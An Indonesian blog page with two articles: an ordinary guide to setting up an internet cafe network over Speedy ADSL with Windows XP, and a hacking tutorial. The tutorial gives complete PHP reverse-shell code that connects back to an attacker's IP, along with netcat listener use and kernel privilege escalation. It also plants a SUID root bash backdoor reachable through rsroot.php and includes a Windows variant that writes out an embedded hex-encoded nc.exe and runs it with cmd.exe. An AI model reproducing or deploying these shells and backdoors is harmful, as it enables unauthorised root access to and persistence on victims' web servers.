Sunday, July 24, 2011

Setting Jaringan Warnet Speedy dan XP

Kemampuan untuk melakukan Instalasi dan setting untuk sebuah Warung Internet (Warnet) selama ini dianggap hanya dimiliki oleh mereka yang sudah lama berkecimpung didunia IT Administrator. Dengan mematok biaya yang cukup lumayan mereka bersedia membantu kita dalam membangun sebuah Warnet yang hendaknya akan kita gunakan sebagai Unit Produksi. Ketidaktahuan tentang bagaimana sebuah sistem jaringan dapat berjalan lancar adalah alasan utama kita untuk terus menggunakan tenaga mereka. Berangkat dari keadaan tersebut maka saya menuliskan panduan ini. Sengaja dibuat dengan menampilkan langkah demi langkah agar dapat dimengerti dan dipahami bahkan oleh seorang yang sama sekali belum mengenal jaringan.Pada panduan ini akan dibahas instalasi dan setting untuk sebuah warnet yang memiliki 1 server & 12 client seperti terlihat pada gambar di bawah ini:
gbr-1.jpg
Persiapan Hardware & Software
Hendaknya sebelum kita melaksanakan instalasi jaringan, terlebih dahulu kita mempersiapkan Hardware & software yang akan tersambung di dalam lingkup jaringan tersebut. Beberapa langkah persiapan yang diperlukan adalah :
1. PC Server, spesifikasi minimal yang disarankan :
a. Hardware :
  • MotherBoard : Kecepatan setara 3.00 Ghz untuk dual Core
  • Ram : 1 Ghz
  • Harddisk : 160 GB
  • NIC / LAN Card : 10/100 Mbps
  • Drive : DVD / CD Writer
  • Spesifikasi lain : Optional
b. Software :
  • Windows XP SP2
  • Bandwith Controller / Manager
  • Billing System, dll
  • Anti Virus
  • Firewall
  • Anti Spyware, Malware, Adware
2. PC Client
a. Hardware :
  • MotherBoard : Kesepatan setara 2.80 Ghz
  • Ram : 512 MB
  • Harddisk : 40 Ghz
  • VGA Card : Optional untuk Game
b. Software :
  • Windows XP SP2
  • Browsing Tools :
1. Internet Explorer
2. Mozilla FireFox (Free)
3. Opera
  • Chatting Tools :
1. Yahoo Messenger (Free)
2. MSN Live Messenger
3. MiRC
4. ICQ
  • Game Online, Example:
1. Warcraft III
2. Ragnarok Online
3. Diablo II, dsb
  • Adobe Reader (Free)
  • WinZip
  • WinRar
  • Anti Virus (AVG Free Recommended)
  • Winamp (Free)
  • ACD See (Optional)
  • Microsoft Office (Optional)
  • Billing System, dsb
Sistem Operasi Window$ memang sangat mahal, untuk itu kita bisa mensiasatinya dengan membeli CPU second Built-up dari luar negeri yang masih bagus. Biasanya selain kualitasnya lebih tinggi dari pada CPU rakitan, CPU Built-up dari luar negeri juga sudah dilengkapi dengan, Sistem Operasi Standar Windows.
3. Hub / Switch / Router
Merupakan alat yang digunakan untuk membagi koneksi internet dari PC server ke PC
Client. Pilihan antara Hub / Switch / Router ditentukan oleh kemampuan koneksi yang
ingin dihasilkan, dan tentu saja di sesuaikan dengan dana yang tersedia. Pada studi
kasus kita kali ini saya akan menggunakan Switch sebagai pembagi koneksi internet.
4. Modem
Modem adalah sebuah device yang digunakan sebagai penghubung dari sebuah PC atau
jaringan ke Penyedia Layanan Internet (Internet Service Provider / ISP). Penggunaan
Modem yang akan di bahas kali ini adalah modem jenis ADSL. Modem jenis ini
biasanya digunakan oleh ISP Telkomspeedy. Untuk jenis modem ADSL itu sendiri bisa
dipilih berdasarkan kebutuhan. Kali ini penulis mengambil contoh ADSL LynkSys AM
300 yang hanya mempunyai 1 (satu) port saja sebagai Dialup Device.
Setting Modem ADSL Eksternal
Berikut adalah langkah yang harus dilakukan untuk memastikan PC Server terhubung ke
internet :
1) Buka Internet Explorer anda dan ketikan alamat berikut : 192.168.1.1 (biasanya adalah
alamat IP default bagi Modem).
2) Setelah muncul jendela login isikan username: admin Password: admin, atau sesuai
dengan user guide yang terdapat pada saat pembelian Modem.
3) Isikan sesuai dengan yang tertera pada gambar berikut, kecuali user name dan password yang masing-masing berbeda sesuai dengan yang didapat dari ISP.
4) Pengisian selanjutnya adalah untuk mengijinkan DHCP Server enable/disable,
sebaiknya dipilih Option Enable agar kita tidak direpotkan dengan urusan menyetel satu
demi satu IP Client. Karena fasilitas ini mempunyai kemampuan untuk mensetting IP
Client secara otomatis.
5) Untuk pengisian Time Zone dilakukan sesuai dengan domisili anda tinggal. Dan untuk
time server settingan yang tertera pada gambar adalah settingan yang saya
rekomendasikan.
6) Jika kita ingin mengganti modem username & password kita dipersilahkan untuk
melalukannya pada option berikut :
7) Status Koneksi kita bisa kita pantau pada tabs status (gambar), sebetulnya alamat IP
kita tertera pada bagian bawah layar. Tidak saya tampilkan dengan alasan keamanan.
8) Setelah semua tersetting dengan baik langkah pengujian yang bisa kita lakukan adalah
dengan membuka Internet Explorer kita, lalu masuk ke salah satu alamat WEB yang
mudah diloading. Contoh : Http://www.google.co.id/ lalu untuk pengetesan kecepatan
bisa dilakukan melalui beberapa situs yang menyediakan layanan pengukuran
Bandwith, contoh: http://www.sijiwae.net/speedtest/ .
Sinkronisasi
Setelah hubungan antara PC server dan koneksi internet dapat berjalan lancar langkah
selanjutnya adalah sinkronisasi. Agar semua komputer dapat tersinkronisasi secara benar, berikut adalah langkah-langkah yang harus dilakukan :
1) Sinkronisasi Nama Komputer / PC dan Nama Work Group dilakukan dengan cara
sebagai berikut :
a. Menampilkan Task Control System
gbr-5.jpg
b. Pada Tab Computer Name klik Change untuk mengubah nama komputer dan
nama WorkGroup. Nama komputer sebaiknya diurutkan sesuai dengan nomor
Clientnya untuk memudahkan kita mengingat masing-masing nama komputer,
nama masing-masing PC tidak boleh sama. Namun untuk nama Workgroup
harus lah dibuat sama untuk semua Client dan juga Server.
gbr-6.jpg
c. Setelah nama PC kita ganti langkah selanjutnya adalah mengganti Network ID
dengan cara mengeklik Tab Network ID pada task Control System tadi.
i. Pada pertanyaan How Do You Use This Computer pilihlah option This Computer is part of a business network, kemudian Klik Next.
gbr-7.jpg
ii. Pada Option selanjutnya pilihlah Network without a Domain.
gbr-8.jpg
iii. Selanjutnya isikan nama WorkGroup sesuai dengan nama WorkGorup yang kita isikan pada waktu mengganti nama PC pada langkah (b) tadi.
gbr-91.jpg
iv. Selanjutnya Klik Next dan kemudian Finish. Tunggu beberapa saat hingga komputer selesai melakukan pergantian Network ID dan lakukan restrat System Operasi / Reboot.
2) Sinkronisasi Waktu / Jam dilakukan dengan menempuh langkah sebagai berikut:
a. Double klik tampilan jam yang ada pada sudut kiri bawah desktop anda.
b. Pilihlah tabs Internet Time => Update Now
gbr-10.jpg
c. Tunggu beberapa saat hingga terdapat statement berikut : The time has ben
succesfully Synchronized.
d. Jika yang tampil adalah statement error, maka ulangi klik Update Now hingga
berhasil menyamakan waktu PC anda dengan server Windows.
e. Jika Update berhasil, namun jam yang ditampilkan tidak sama, maka kesalahan
mungkin terjadi pada Time Zone untuk wilayah WIB wilayah waktunya adalah
GMT + 07.00 Bangkok, Hanoi, Jakarta sedangkan untuk WITA adalah
GMT+08.00 Perth dan WIT dengan GMT + 09.00 Seoul.
gbr-11.jpg
Internet Connection Sharing (ICS)
Sampai dengan tahap ini PC yang terkoneksi keinternet hanyalan PC server saja. Untuk
memberikan akses bagi PC client agar mempunyai akses ke internet kita perlu mengaktifkan Internet Connection Sharing yang kita miliki pada PC server. Langkah-langkahnya adalah sebagai berikut :
1) Buka Jendela Network Connection yang terdapat pada Control Panel. Lalu klik kanan
pada Koneksi aktif kita ke internet => pilih Properties.
gbr-12.jpg
2) Pada tabs Advanced aktifkan option Allow other network users to connect through this
computer’s Internet Connection.
3) Setelah Koneksi Internet berhasil di sharing maka akan muncul 2 buah macam koneksi. Sebaiknya ganti nama masing-masing koneksi tersebut agar mudah membedakan antarakoneksi yang terhubung ke Modem dengan Koneksi yang terhubung ke Switch dengan cara me-rename masing-masing koneksi tersebut.
gbr-13.jpg
4) Jika kita buka properties pada koneksi yang terhubung ke Switch, pada tabs support
terdapat alamat IP yang akan menjadi default Gateway bagi PC Client yang akan
terhubung melalui PC Server (192.168.0.1).
gbr-14.jpg
Network Setup
Langkah-langkah yang kita lakukan tadi hanyalah untuk memberikan izin bagi PC Client agar dapat mengakses Internet. Untuk mengaktifkan Izin tersebut dilakukan dengan cara mensetup Network / Jaringan yang kita miliki. Langkah pengerjaannya adalah sebagai berikut :
1) Buka Network Setup Wizard yang terdapat pada Control Panel. Lalu lakukan langkah
seperti pada gambar. (pastikan Koneksi ke internet dalam keadaan hidup).
gbr-15.jpg
gbr-16.jpg
2) Pada pilihan select a Connection Method pilih yang Connect Directly to the Internet
untuk PC server dan bila melakukan settingan pada PC Client plihlah Option Connect to
the internet through a residental gateway.
gbr-17.jpg
3) Option Berikut meminta kita menentukan koneksi yang mana yang akan kita gunakan
untuk melakukan dial-up ke Internet. Pilihlah koneksi yang tersambung ke Modem.
Pilihan ini tidak ada pada saat kita melakukan setting di PC Client.
gbr-18.jpg
4) Isikan Computer Name sesuai dengan nama yang telah kita berikan tadi, lalu isikan
Computer Description jika anda inginkan (Optional / tidak diisi tidak berpengaruh).
gbr-19.jpg
5) Isi Nama Workgroup sesuai dengan nama yang telah kita tentukan sebelumnya. Perlu
saya ingatkan kembali bahwa nama workgroup sebaiknya sama untuk semua komputer
agar langkah setting lebih mudah.
gbr-20.jpg
6) Pilihlah option Turn On File and Printing Sharing pada task selanjutnya.
gbr-21.jpg
7) Setelah settingan pada jendela log kita anggap benar klik next untuk menjalankan /
Mengaktifkan settingan yang telah kita buat tadi.
gbr-22.jpg
8) Tunggu beberapa saat hingga komputer selesai menyesuaikan dengan settingan
barunya.
gbr-23.jpg
9) Pilih option just finish wizard, lalu klik Next = > Finish. Biasanya PC akan otomatis
reboot setelah menyelesaikan prosedur tadi.
gbr-24.jpg
gbr-25.jpg
Langkah yang sama kita lakukan pada semua PC Client. Perbedaan cara setting antara PC
Server dan PC Client hanyalah terletak pada point 2 dan point 3.
Setelah menyelesaikan langkah settingan tersebut pada PC Client lakukanlah pengetesan
koneksi dengan cara yang sama dengan PC Server, yaitu mengunjungi alamat situs yang mudah di Loading dan mengetes kecepatan koneksi. Bila koneksi yang ada dirasa terlalu lambat silahkan lakukan pengecekan pada settingan Network tadi apakah ada Option yang salah atau tidak, dan juga lakukan pengecekan pada koneksi perkabelan apakah suda terposisikan dengan baik atau belum.
Sampai dengan langkah ini semua PC Client bisa terhubung dengan bebas ke Internet selama PC Server menghidupkan Koneksinya. Untuk membatasi penggunaan pada PC Client adal beberapa pilihan. Yang pertama adalah membuat list user dari Computer Client, user mana yang mempunyai hak untuk mengakses internet yang mana yang tidak diizinkan untuk mengaksesnya. Settingan tersebut biasanya digunakan di perkantoran. Sedangkan untuk warnet, pembatasan akses biasanya dilakukan dengan menginstalkan program billing pada C Server dan PC Client. Untuk produk billing dalam negeri sudah terdapat beberapa pengembang program diantaranya adalah www.billingexplorer.com dan www.indobilling.com untuk keperluan setting billing ini silahkan menghubungi pengembangnya masing-masing.

Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }
 
 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }
 
 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }
 
 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }
 
 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }
 
 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }
 
 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.

Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.

Reverse Rootshell
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.

Reverse Shell di Windows
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:
  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
    $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
undefined